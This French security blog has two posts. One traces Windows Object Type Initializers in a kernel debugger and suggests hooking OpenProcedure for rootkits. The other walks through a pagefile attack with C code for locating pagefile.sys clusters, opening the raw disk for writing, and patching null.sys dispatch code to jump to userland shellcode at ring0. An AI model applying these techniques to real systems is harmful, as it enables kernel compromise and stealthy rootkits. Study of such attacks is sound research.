0120f7b8 7c91d68e 7c810916 0120f85c c0100080 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0120f7bc 7c810916 0120f85c c0100080 0120f7fc ntdll!NtCreateFile+0xc (FPO: [11,0,0])
0120f854 77e64f42 00000000 c0000000 00000003 kernel32!CreateFileW+0x35f (FPO: [Non-Fpo])
[...]

Le fonctionement des Object Type Initializers est assez basique avec les objets de type device (IoDeviceObjectType). Tout se passe avec le handler ParseProcedure. En fait IopParseDevice va crée un FILE_OBJECT sur le device demandé (ici \Device\HardDiskVolume1) avec ObCreateObject si il n’existe pas. Grâce à cela, la prochaine fois qu’on aura besoin d’accéder au device le l’I/O Manager pourra directement le retrouver. IopParseDevice renvoie donc un FILE_OBJECT sur le device et ObOpenObjectByName crée un handle dessus avec ObpCreateHandle. Pour résumer je me suis amusé à mettre des breakpints sur les fonctions ObpParseSymbolicLink, IopParseDevice et ObpCreateHandle. Puis j’ai lancé la commande « echo tapz > NUL ». Ce qui veut dire, envoyé la sortie « tapz » sur le device NUL.

kd> bl
 0 e 805704ed     0001 (0001) nt!IopParseDevice ".printf \\"IopParseDevice\\n\\" ; !ustr poi(esp+18);g"
 2 e 80564f52     0001 (0001) nt!ObpParseSymbolicLink ".printf \"ObpParseSymbolicLink\n\" ; !ustr poi(esp+18);g"
 3 e 8056443f     0001 (0001) nt!ObpCreateHandle ".printf \\"ObpCreateHandle\\n\\" ; !thread ; dd poi(esp+C) l 1; dt nt!_OBJECT_TYPE poi(esp+C) -a Name"

kd> g
ObpParseSymbolicLink
String(14,248) at f6ec2c04: \\??\\NUL

IopParseDevice
String(24,248) at f6ec2c04: \\Device\\Null

ObpCreateHandle
THREAD 80d698e0  Cid 0154.0184  Teb: 7ffdf000 Win32Thread: e10d7798 RUNNING on processor 0
Not impersonating
DeviceMap                 e1686fd0
Owning Process            80d66c10       Image:         cmd.exe
Wait Start TickCount      427719         Ticks: 2 (0:00:00:00.020)
Context Switch Count      1034                 LargeStack
UserTime                  00:00:00.010
KernelTime                00:00:06.879
Win32 Start Address 0x4ad05056
Start Address 0x7c810665
Stack Init f6ec3000 Current f6ec2aa8 Base f6ec3000 Limit f6ec0000 Call 0
Priority 8 BasePriority 8 PriorityDecrement 0 DecrementCount 16
ChildEBP RetAddr  Args to Child              
f6ec2bc8 80567727 00000000 80d57e00 00000000 nt!ObpCreateHandle (FPO: [Non-Fpo])
f6ec2c18 80570f03 00000000 00000000 ec2c8401 nt!ObOpenObjectByName+0x28c (FPO: [Non-Fpo])
f6ec2c94 80570fd2 0012fc14 40100080 0012fbb4 nt!IopCreateFile+0x407 (FPO: [Non-Fpo])
f6ec2cf0 80571108 0012fc14 40100080 0012fbb4 nt!IoCreateFile+0x8e (FPO: [Non-Fpo])
f6ec2d30 804de7ec 0012fc14 40100080 0012fbb4 nt!NtCreateFile+0x30 (FPO: [Non-Fpo])
f6ec2d30 7c91eb94 0012fc14 40100080 0012fbb4 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f6ec2d64)
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fc0c 4ad02f2a 00000000 40000000 00000001 0x7c91eb94
0012fc58 4ad02e91 00144378 00000301 00000001 0x4ad02f2a
0012fc6c 4ad03efe 00144378 00000301 00147e88 0x4ad02e91
0012fe98 4ad013d7 00147e88 00000000 00147e88 0x4ad03efe
0012ffa8 80584053 0012ffe0 4ad1f18a 4ad05178 0x4ad013d7
0012ff44 4ad05164 00000001 003237c8 003229a8 nt!CcPfBeginAppLaunch+0x19f (FPO: [Non-Fpo])
0012ffd0 8054ad38 0012ffc8 80d698e0 ffffffff 0x4ad05164
0012fff0 00000000 4ad05056 00000000 78746341 nt!ExFreePoolWithTag+0x676 (FPO: [Non-Fpo])

00000000  ???????? <- POBJECT_TYPE==NULL
    +0x040 Name : _UNICODE_STRING
 nt!ObpCreateHandle:
 8056443f 8bff            mov     edi,edi
 
 kd> !object 80d57e00
Object: 80d57e00  Type: (80f1fca0) File
    ObjectHeader: 80d57de8 (old version)
    HandleCount: 0  PointerCount: 2

kd> !fileobj 80d57e00

Device Object: 0xffb66ca8   \\Driver\\Null
Vpb is NULL
Event signalled

Flags:  0x2
	Synchronous IO

Private Cache Map: 0x00000001
CurrentByteOffset: 0

Au départ ObpParseSymbolicLink prend le SymbolicLink \??\NUL puis renvoie le device \Device\Null. Après l’I/O Manager va crée un FILE_OBJECT dessus avec la routine IopParseDevice et le renvoyé à ObOpenObjectByName qui par la suite va crée un handle dessus avec ObpCreateHandle. Lors de l’appel à ObpCreateHandle on peut voir que le second argument passé est bien un PFILE_OBJECT sur le DEVICE_OBJECT NULL. Après la fonction NtWriteFile va envoyer le contenu de la commande « echo tapz » avec un IRP_MJ_WRITE au driver null.sys grâce au handle référençant le FILE_OBJECT associé au device NULL.

Revenons-en aux Object Type Initializers, au début, j’avais juste parlé des handlers associé aux objets de type IoDeviceObjectType. Il existe en fait des structures OBJECT_TYPE_INITIALIZER pour chaque type d’objet du kernel. Dans le cas d’un objet de type IoFileObjectType les handlers sont :

kd> dt nt!_OBJECT_TYPE_INITIALIZER  poi(nt!IoFileObjectType)+60
   +0x000 Length           : 0x4c
   +0x002 UseDefaultObject : 0 ''
   +0x003 CaseInsensitive  : 0x1 ''
   +0x004 InvalidAttributes : 0x130
   +0x008 GenericMapping   : _GENERIC_MAPPING
   +0x018 ValidAccessMask  : 0x1f01ff
   +0x01c SecurityRequired : 0 ''
   +0x01d MaintainHandleCount : 0x1 ''
   +0x01e MaintainTypeList : 0x1 ''
   +0x020 PoolType         : 0 ( NonPagedPool )
   +0x024 DefaultPagedPoolCharge : 0x400
   +0x028 DefaultNonPagedPoolCharge : 0xe8
   +0x02c DumpProcedure    : (null) 
   +0x030 OpenProcedure    : (null) 
   +0x034 CloseProcedure   : 0x8056aa31     void  nt!IopCloseFile+0
   +0x038 DeleteProcedure  : 0x8056a83b     void  nt!IopDeleteFile+0
   +0x03c ParseProcedure   : 0x805720ae     long  nt!IopParseFile+0
   +0x040 SecurityProcedure : 0x8059b35e     long  nt!IopGetSetSecurityObject+0
   +0x044 QueryNameProcedure : 0x80581825     long  nt!IopQueryName+0
   +0x048 OkayToCloseProcedure : (null) 

Si on regarde le handler OpenProcedure celui ci est NULL. Ce qui veut dire que lors d’un demande de création de handle sur un objet de type IoFileObjectType, la fonction ObpCreateHandle n’a que faire de ce handler. Maintenant si on pense un peu, sachant que la plupart des *ObjectType sont exportées par le kernel. Il est possible d’installer nous même notre propre OpenProcedure dans la structure OBJECT_TYPE_INITIALIZER. On pourrait donc filtrer toutes les ouvertures de handle sur les fichiers (et devices) de notre système. Imaginez ce qu’un rootkit pourrait faire de cela. Lors de l’ouverture d’un handle sur un fichier il n’aurait qu’a vérifier le nom se trouvant dans le FILE_OBJECT pour voir si oui ou non il laisse la fonction ObpCreateHandle continuer. On pourrait donc avoir un filtrage assez simple pour contrôler l’ouverture des fichiers. La fonction qui sera dans le champ OpenProcedure devra avoir le prototype suivant :

typedef NTSTATUS (*OB_OPEN_METHOD)(
    IN OB_OPEN_REASON OpenReason,
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ACCESS_MASK GrantedAccess,
    IN ULONG HandleCount
    );

Par contre, dans le cas ou l’utilisateur demande d’afficher le contenu d’un dossier, nous ne verrons passer que l’ouverture de handle sur le dossier. On ne pourra donc pas contrôler ce qui sera renvoyé.

Maintenant intéressons nous à des objets plus « abstrait » que des fichiers ou devices, comme des processes ou des threads.
La structure OBJECT_TYPE_INITIALIZER associé aux objets de type process (nt!PsProcessType) contient :

kd> dt nt!_OBJECT_TYPE_INITIALIZER poi(nt!PsProcessType)+60
   +0x000 Length           : 0x4c
   +0x002 UseDefaultObject : 0 ''
   +0x003 CaseInsensitive  : 0 ''
   +0x004 InvalidAttributes : 0xb0
   +0x008 GenericMapping   : _GENERIC_MAPPING
   +0x018 ValidAccessMask  : 0x1f0fff
   +0x01c SecurityRequired : 0x1 ''
   +0x01d MaintainHandleCount : 0 ''
   +0x01e MaintainTypeList : 0x1 ''
   +0x020 PoolType         : 0 ( NonPagedPool )
   +0x024 DefaultPagedPoolCharge : 0x1000
   +0x028 DefaultNonPagedPoolCharge : 0x290
   +0x02c DumpProcedure    : (null)
   +0x030 OpenProcedure    : (null)
   +0x034 CloseProcedure   : (null)
   +0x038 DeleteProcedure  : 0x805841e0     void  nt!PspProcessDelete+0
   +0x03c ParseProcedure   : (null)
   +0x040 SecurityProcedure : 0x8056a0b7     long  nt!SeDefaultObjectMethod+0
   +0x044 QueryNameProcedure : (null)
   +0x048 OkayToCloseProcedure : (null)

Ici juste un handler pour la DeleteProcedure. Il est aussi possible que nous rajoutions notre propre handler pour gérer l’ouverture de handle sur les objets associés au process, les EPROCESS. Dans le cas ou un user demande l’ouverture d’un handle sur un process, on pourrait facilement le contrôler et lui refuser l’accès, pour par exemple, rendre un process immortel :] On peut exactement faire la même chose pour les threads (PsThreadType).

Voici un liste non-exaustive des type d’objets auquels peut être appliqué cette méthode.

kd> x /v  nt!*type
pub global 8055ffb4    0 nt!ObpSymbolicLinkObjectType = 
pub global 805609c0    0 nt!PsJobType = 
pub global 8055a6f8    0 nt!MmProductType = 
pub global 80561800    0 nt!ExSemaphoreObjectType = 
pub global 805580ec    0 nt!IoControllerObjectType = 
pub global 8059b864    0 nt!RtlBaseAceType = 
pub global 8068e268    0 nt!CmpKeyObjectType = 
pub global 806aab6c    0 nt!CmInstallUILanguageIdType = 
pub global 80561768    0 nt!ExEventPairObjectType = 
pub global 805568bc    0 nt!DbgkDebugObjectType = 
pub global 8068e280    0 nt!CmRegistrySizeLimitType = 
pub global 806b0c60    0 nt!CmSuiteBufferType = 
pub global 8056a534    0 nt!SeTokenType = 
pub global 805595b8    0 nt!KeI386CpuType = 
pub global 80561c9c    0 nt!ExDesktopObjectType = 
pub global 8056176c    0 nt!ExTimerObjectType = 
pub global 806a6130    0 nt!MmVerifyDriverBufferType = 
pub global 80561cd8    0 nt!ExCallbackObjectType = 
pub global 80561760    0 nt!ExProfileObjectType = 
pub global 80561764    0 nt!ExMutantObjectType = 
pub global 805580e0    0 nt!IoDriverObjectType = 
pub global 805580d8    0 nt!IoFileObjectType = 
pub global 805612b8    0 nt!WmipGuidObjectType = 
pub global 805580dc    0 nt!IoDeviceHandlerObjectType = 
pub global 8055efa0    0 nt!MmSectionObjectType = 
pub global 80552e04    0 nt!KeI386MachineType = 
pub global 80560a38    0 nt!PsProcessType = 
pub global 8055ff50    0 nt!ObpTypeObjectType = 
pub global 8055ff80    0 nt!ObpDirectoryObjectType = 
pub global 80557634    0 nt!CmpBootType = 
pub global 80558808    0 nt!PnpDefaultInterfaceType = 
pub global 8068dde0    0 nt!SeTokenObjectType = 
pub global 80561c20    0 nt!ExEventObjectType = 
pub global 80561734    0 nt!ExpKeyedEventObjectType = 
pub global 80628d45    0 nt!ObEnumerateObjectsByType = 
pub global 805580e4    0 nt!IoDeviceObjectType = 
pub global 805580f0    0 nt!IoAdapterObjectType = 
pub global 8055a268    0 nt!LpcPortObjectType = 
pub global 80552818    0 nt!InitWinPEModeType = 
pub global 805580e8    0 nt!IoCompletionObjectType = 
pub global 8055a264    0 nt!LpcWaitablePortObjectType = 
pub global 80561ca0    0 nt!ExWindowStationObjectType = 
pub global 80560a3c    0 nt!PsThreadType = 

NB : j'ai trié qques valeurs, certaines sont certainement fausses.

Les Object Type Initializers, sont donc un moyen simple et puissant pour contrôler la manipulation des objets kernel depuis le userland. Cela peut très bien servir dans le cadre d’un rootkit ou bien même pour un HIDS. Cela dépend de quel coté de la force vous êtes :] Evidemment leurs utilisation reste assez limité, je n’ai pas évoqué toutes les possibilités que les Object Type Initializers offraient, si vous en voyez d’autres n’hésitez pas me le signaler.

Ref :
Object Type Initializers
http://uninformed.org/index.cgi?v=8&a=2&p=19

Windows Internals -> Device Drivers -> Opening Devices

The kernel object namespace and Win32
http://www.nynaeve.net/?p=61
http://www.nynaeve.net/?p=86
http://www.nynaeve.net/?p=92

Debugger tricks: API call logging, the quick’n’dirty way (part 2)
http://www.nynaeve.net/?p=144

6 comments octobre 10th, 2007

Pagefile Attack

« Encore un jour se lève sur la planète France
Et je sors doucement de mes rêves je rentre dans la danse
Comme toujours il est huit heures du soir j’ai dormi tout le jour
Je me suis encore couché trop tard je me suis rendu sourd encore. »
Saez, Fils de France

Cette magnifique chanson illustre bien mon état d’esprit actuel, déchiré en caleçon et complètement dans mon monde. J’écoute de la musique à faire peur aux chiens jusqu’a pas d’heure en l’occurrence du Dagoba. Pour que vous puissiez imaginer l’ambiancer mettez vous apwal, détendez vous, fermez toutes vos applis, prenez vos chocapicz halucinogès, lancer votre debugger stylé à la Matrix et ecoutez ca!

The ThingsWithin

Il fait noir, je suis devant des morceaux de C, d’ASM et des bouts d’hexa qui trainent, le genre de moment ou je suis coupé du monde, dans MON monde à faire ce que j’aime. La dernière fois j’avais dit que je tenterais de réalisé une pagefile attack, comprenez une tentative d’écriture dans le fichier de pagination en raw sur le disque ayant pour but de corrompre le comportement du noyau afin d’exécuter une action malveillante … hewww…

En fait il faut imaginez que tout votre système n’est pas résident en mémoire (la RAM) en permanence. L’OS maintient à jour une liste des pages les plus demandées par les programmes, si ils en existent qui sont peu ou jamais utilisées, le noyau peu très bien décidé de les mettre en swap sur disque. Sous Windows, la swap est représenté par le fichier pagefile.sys qui doit faire en taille un peu plus que votre RAM total. Grâce à ce processus de swapping L’OS arrive à économiser de la RAM en mettant sur le disque tout ce qu’il ne sert a rien, dans le cas ou un soft à besoin d’utiliser une page mémoire qui a été swappé, lors de l’accès en mémoire le kernel va générer un page-fault (int 0x0E), le memory manager sachant que cette page est swappé va l’in-swappé en RAM et le programme reprendra le cours normal de son exécution.

Avec une pagefile attack, on modifie directement dans le fichier de swap un code, puis on le fait in-swappé pour le lancer. Si on gère bien on peut exécuter un code que l’on contrôle avec un privilège ring0, ce qui permet de faire pas mal de choses … :]

Il est clair qu’écrire dans pagefile.sys ne se fait pas comme ca, déjà le noyau a ouvert le handle en interdisant le partage de celui ci. En gros un NtOpenFile sur pagefile.sys ne fonctionnera pas, ca parâit con mais cela suffit à bien nous emmerder. Joanna qui avait utilisé cette attaque à réussit à lire/écrire dans la pagefile.sys en effectuant une lecture en raw sur le disque puis en parcourant les structure NTFS. Après m’être intéressé à ce format j’ai faillit peter un plomb tellement c’est le bordel, j’allais commencer à coder un parser NTFS, juste au moment où un certain « martin » (que je remercie pour son aide) m’a fait par d’une technique permettant de retrouver la position sur le disque en terme de cluster d’un fichier.

Il existe un IOCTL, FSCTL_GET_RETRIEVAL_POINTERS, qui permet à partir d’un handle sur fichier d’obtenir la liste des LCN (Local Cluster Number) et VCN (Virtual Cluster Number) du fichier. Un LCN définit la position du fichier en fonction du nombre de clusters par rapport au débu du disque, les VCN représent le nombre de clusters contigu relativement à un LCN. Un fichier peut ainsi être découpé sur le disque et posséder plusieurs LCN composé d’un certains nombre de clusters. Juste pour info, l’IOCTL FSCTL_GET_RETRIEVAL_POINTERS envoie un IRP de type FILE_SYSTEM_CONTROL au driver NTFS qui le gère avec la fonction NtfsQueryRetrievalPointers.

En gros si on arrive à avoir un handle sur le fichier pagefile.sys, on pourra connaître sa position sur le disque. En me basant sur le fait que le kernel possède forcément un handle dessus, je me suis dit qu’il était possible de dupliquer le handle du pagefile.sys directemment depuis le process system. Cela requiert d’être admin sur la b0x, mais tant pis. Comme le handle dupliqué possède les mêmes droits que l’original, j’ai essayé de directement lire/écrite le fichier de pagination à partir du nouvel handle, BIM heqdsh0tz ! BSOD ! Bref je n’ai pas capté pourquoi mais ca ne marche pas …

C’est pour cela que si l’on veut écrire dans le pagefile.sys, la solution la plus simple est de directement écrire en raw sur le disque et qu’avant il faut savoir ou le fichier se trouve dessus. Ce qui est cool, c’est que l’envoie d’un IOCTL IOCTL FSCTL_GET_RETRIEVAL_POINTERS sur le handle dupliqué ne pose aucun problème, on récupère une liste de structures RETRIEVAL_POINTERS_BUFFER :

typedef struct RETRIEVAL_POINTERS_BUFFER {
  DWORD ExtentCount;
  LARGE_INTEGER StartingVcn;
  struct {
    LARGE_INTEGER NextVcn;
    LARGE_INTEGER Lcn;
  } Extents[1];
} RETRIEVAL_POINTERS_BUFFER,
 *PRETRIEVAL_POINTERS_BUFFER;

Avec cette liste, on à notre disposition les emplacements du pagefile sur le disque. Dans le cas ou tout les clusters du fichier de pagination sont contigu on obtient qu’un LCN dont VCN correspond au nombre de clusters occupés par pagefile.sys. Le code est assez simple :

void GetPageFileLCN(HANDLE hPageFile)
{
	PUCHAR pBuff;
	ULONG i, Status;
	IO_STATUS_BLOCK IoBlock;

	STARTING_VCN_INPUT_BUFFER VCN={0};
	RETRIEVAL_POINTERS_BUFFER Buff={0};

	pBuff=(PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x10000);
	Status=ZwFsControlFile(hPageFile,
						NULL,
						NULL,
						NULL,
						&IoBlock,
						FSCTL_GET_RETRIEVAL_POINTERS,
						&VCN,
						sizeof(STARTING_VCN_INPUT_BUFFER),
						&Buff,
						sizeof(RETRIEVAL_POINTERS_BUFFER));
	if(!NT_SUCCESS(Status))
	{
		printf("Error with NtFsControlFile : 0x%xn", Status);
		goto end;
	}

	printf("ExtentCount : %dn", Buff.ExtentCount);
	for(i=0; i
	{

		printf("LCN : 0x%xn", Buff.Extents[i].Lcn);
		printf("VCN : 0x%xn", Buff.Extents[i].NextVcn);

	}

	end:

	HeapFree(GetProcessHeap(), 0, pBuff);
}

Ce qui donne à l’exécution :

C:\\Documents and Settings\\fu\\Bureau>PageFile.exe
PageFile LCN By IvanlefOu
Be M4DZ!!
Total Handles : 3414

\\pagefile.sys
Got pagefile.sys handle : 1956
ExtentCount : 1
LCN : 0x846e33
VCN : 0x773a

Maintenant que nous possédons la position du pagefile.sys sur le disque on peut enfin lire et écrire dedans sans problème. Pour cela on ouvre un handle sur le \device\HarddiskVolume1 avec ce code :

hDisk=CreateFile("\\\\.\\C:",
					GENERIC_READ|GENERIC_WRITE,
					FILE_SHARE_READ|FILE_SHARE_WRITE,
					NULL,
					OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL,
					NULL);
	if(hDisk==INVALID_HANDLE_VALUE)
	{
		printf("Error with CreateFile : %dn", GetLastError());
		goto end;
	}

Puis connaissant le LCN du pagefile.sys on le multiplie par le nombre de bytes par clusters pour trouver à quel offet lire sur le disque, pareil pour l’écriture. Notre attaque peut enfin commencer. En gros, pour la réussir on doit résoudre les problèmes suivants :

1) Que modifier dans le pagefile.sys
2) Comment trouver le code swappé qu’on veut modifier et par quoi le remplacer ?
3) Comment faire en sorte que le code soit appelé depuis l’userland ?
4) Quel genre de code faut t’il exécuter ?
5) chocapicz vs miel pops, le dilemme ..

1)
Comme l’a fait Joanna Rutkowska, on va modifier le code d’un driver swappé pour faire en sorte qu’il appel notre shellcode userland que l’on contrôle. Il nous faut donc que le code que nous alons modifier respecte deux choses. La première qu’il soit dans une section pageagle d’un des drivers de l’OS, certains codes ne pouvant être swappés sur le disque. La seconde que le code ne soit pas appelé régulièrement, en effet une fois que le code sera de nouveau résident en mémoire on ne pourra le corriger, si jamais il est appelé d’une quelconque manière dans le contexte d’un autre process ou que notre shellcode userland ne soit pas à l’emplacement prévue, on risque de se prendre un joli BSOD.

Je ne me suis fatigué j’ai reprit le même driver code que Joanna, celui du driver null.sys. Si on regarde un peu t les flags des sections du driver on voit :

->Section Header Table
   1. item:
    Name:                  .rdata
    VirtualSize:           0x0000005D
    VirtualAddress:        0x00000300
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000300
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x48000040
    (INITIALIZED_DATA, NOT_PAGED, READ)

   2. item:
    Name:                  .data
    VirtualSize:           0x00000074
    VirtualAddress:        0x00000380
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000380
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0xC8000040
    (INITIALIZED_DATA, NOT_PAGED, READ, WRITE)

   3. item:
    Name:                  PAGE
    VirtualSize:           0x00000106
    VirtualAddress:        0x00000400
    SizeOfRawData:         0x00000180
    PointerToRawData:      0x00000400
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x60000020
    (CODE, EXECUTE, READ)

   4. item:
    Name:                  INIT
    VirtualSize:           0x00000162
    VirtualAddress:        0x00000580
    SizeOfRawData:         0x00000180
    PointerToRawData:      0x00000580
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0xE2000020
    (CODE, DISCARDABLE, EXECUTE, READ, WRITE)

   5. item:
    Name:                  .rsrc
    VirtualSize:           0x000003C8
    VirtualAddress:        0x00000700
    SizeOfRawData:         0x00000400
    PointerToRawData:      0x00000700
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x42000040
    (INITIALIZED_DATA, DISCARDABLE, READ)

   6. item:
    Name:                  .reloc
    VirtualSize:           0x0000003A
    VirtualAddress:        0x00000B00
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000B00
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x42000040
    (INITIALIZED_DATA, DISCARDABLE, READ)

La section PAGE qui contient le code du driver n’a pas d’attribut NOT_PAGED, on peut dire qu’il y a de forte chance qu’une partie du code se fasse swapper si elle n’est jamais utilisée. De plus si on disass le début de la fonction DriverEntry on peut voir :

push    ebp
mov     ebp, esp
sub     esp, 0Ch
push    esi
push    offset _DriverEntry@8 ; AddressWithinSection
call    ds:__imp__MmPageEntireDriver@4 ; MmPageEntireDriver(x)

Comme vous le devinez la fonction MmPageEntireDriver va faire en sorte que tout le driver soit pageable et ca, ca n’a pas de prix :] On peut être donc sur que le code du driver sera swappé tant qu’il n’est jamais utilisé.

2)
La partie la plus difficile. Comme nous ne connaissons pas la structure du pagefile.sys, il nous est impossible de savoir à quel endroit se trouve quoi. Le kernel maintient une liste de chunks repérant ce qui est swappé. Vous imaginez bien que cette liste ne peut se retrouver sur le disque. On va donc devoir y aller par scan, mais pas de n’importe quelle manière.

Imaginez, vous avez un tableau de n=20 bytes dans lequel vous devez rechercher l’indice d’un pattern de m=3 bytes. Le premier algo qui vient à l’esprit est du genre :

pour i de 1 à m-n faire
	pour j de 1 à m faire
		si n[i+j]!=m[j]
			continuer;
		si j=m
			retourner i;

Ce qui nous donne une complexité temporelle de m*n itérations. Dans le cas ou n vaut 500 000 000 octets (la taille du pagefile) et m 8 octets, je peux vous dire que ca prend du temps de scanner pour localiser le code à modifier.

Ce qu’il nous fait c’est un algo de recherche de pattern optimisé. Après quelques recherche je suis tombé sur l’algorithme de recherche de pattern de Boyer-Moore qui à l’avantage de fonctionner dans le meilleur des cas avec une complexité de n/m rendant le scan du pagefile beaucoup plus rapide.

J’ai trouvé une implémentation de cette algo dans les libs du complilo ASM masm32, je l’ai compilé pour m’en faire un joli .lib que j’inclu dans mon code.

Maintenant qu’on sait comment scanner le pagefile de manière efficace, on va pouvoir rechercher un code du driver null.sys. Cependant pour que notre shellcode soit exécuté un jour on doit pouvoir depuis l’userland se débrouiller pour que le driver exécute une certaine fonction ». En fait le driver null.sys crée un device \device\null, ce qui signifie qu’il peut accéder des IRP venant de l’extérieur. Ces IRP sont gérées à travers les MajorFunctions du driver :

kd> !devobj \\device\\null
Device object (80d42f18) is for:
 Null DriverNull DriverObject 80d424b0
Current Irp 00000000 RefCount 0 Type 00000015 Flags 00000040
Dacl e128a33c DevExt 00000000 DevObjExt 80d42fd0
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \\Driver\\Null 3
Driver object (80d424b0) is for:
 DriverNull
Driver Extension List: (id , addr)

Device Object list:
80d42f18  

DriverEntry:   fdd9c59a	Null!DriverEntry
DriverStartIo: 00000000
DriverUnload:  fdd9c438	Null!NlsUnload

Dispatch routines:
[00] IRP_MJ_CREATE                      fdd9c46e	Null!NlsUnload+0x36
[01] IRP_MJ_CREATE_NAMED_PIPE           804fa88e	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fdd9c46e	Null!NlsUnload+0x36
[03] IRP_MJ_READ                        fdd9c46e	Null!NlsUnload+0x36
[04] IRP_MJ_WRITE                       fdd9c46e	Null!NlsUnload+0x36
[05] IRP_MJ_QUERY_INFORMATION           fdd9c46e	Null!NlsUnload+0x36
[06] IRP_MJ_SET_INFORMATION             804fa88e	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804fa88e	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804fa88e	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               804fa88e	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804fa88e	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804fa88e	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804fa88e	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804fa88e	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              804fa88e	nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804fa88e	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    804fa88e	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                fdd9c46e	Null!NlsUnload+0x36
[12] IRP_MJ_CLEANUP                     804fa88e	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804fa88e	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804fa88e	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804fa88e	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       804fa88e	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              804fa88e	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               804fa88e	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804fa88e	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804fa88e	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         804fa88e	nt!IopInvalidDeviceRequest

Fast I/O routines:
Cannot read _FAST_IO_DISPATCH at fdd9c380

Si on demande l’ouverture d’un handle sur le device \device\null, alors un IRP de type IRM_ML_CREATE sera envoyé au driver null.sys et sera handlé par la MajorFunction se trouvant à Null!NlsUnload+0×36 (ouais les symbols suxx un peu là). Remarquez que c’est la même fonction gère les IRP de type, IRP_MJ_CREATE, IRP_MJ_CLOSE, IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION et IRP_MJ_LOCK_CONTROL.

On va appeler la fonction en Null!NlsUnload+0×36 DispatchComplete pour se simplifier la vie. Le but de l’attaque est de modifié cette fonction afin quelle fasse appel à un shellcode userland. Cependant, il ne faut pas modifier la fonction de n’importe quelle façon, ce qu’on veut c’est un jmp ou un call sur une zone mémoire que l’on contrôle, rien de plus. Afin que l’IRP soit parfait handler, on va modifier l’épilogue de la fonction. Avant l’attaque l’épilogue ressemble à cela :

PAGE:000104F4 8B 71 18                    mov esi, [ecx+18h]
PAGE:000104F7 32 D2                       xor dl, dl
PAGE:000104F9 FF 15 08 03 01 00           call ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)
PAGE:000104FF 8B C6                       mov eax, esi
PAGE:00010501 5E                          pop esi
PAGE:00010502 5B                          pop ebx

PAGE:00010503 C2 08 00                    retn 8

On va le modifier de sorte à avoir à la place du « retn 8″ un « push 0 ;ret » ce qui fera sauter notre fonction à l’adresse 0×00000000;

3)
Pour trigger cette fonction, il suffit de demander l’ouverture d’un handle sur le device \device\null. Le code donne tout simplement cela :

RtlInitUnicodeString(&FileSystemName, L"\\\\Device\\\\NULL");
InitializeObjectAttributes(&ObjectAttributes, &FileSystemName, OBJ_CASE_INSENSITIVE, NULL, NULL);

// Try to open the device
Status=ZwCreateFile(&hDevice,
				SYNCHRONIZE,
				&ObjectAttributes,
				&IoStatus,
				NULL,
				0,
				0,
				0,
				0,
				NULL,
				0);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwCreateFile : 0x%xn", Status);

}

Je précise juste que la fermeture du handle fera aussi appel à la fonction qui gère les IRP de type IRP_MJ_CLOSE du driver null.sys donc avant de fermer le handle sur le hDevice il faut que la redirection de code soit toujours valide, sinon bommbigbadaboombig!

4)
Bon résumons un peu, on sait que nous allons modifier le code du driver null.sys qui se trouver sur le disque dans le fichier pagefile.sys. Connaissant l’emplacement sur le disque du pagefile.sys, on effetue un scan à la recherche d’un pattern de la fonction qui gère les IRP du driver null.sys. Lorsque qu’on à trouver l’emplacement de cette fonction sur le disque, on modifie son epilogue afin qu’il transfert l’exécution vers un code userland que nous contrôlons … ouf !

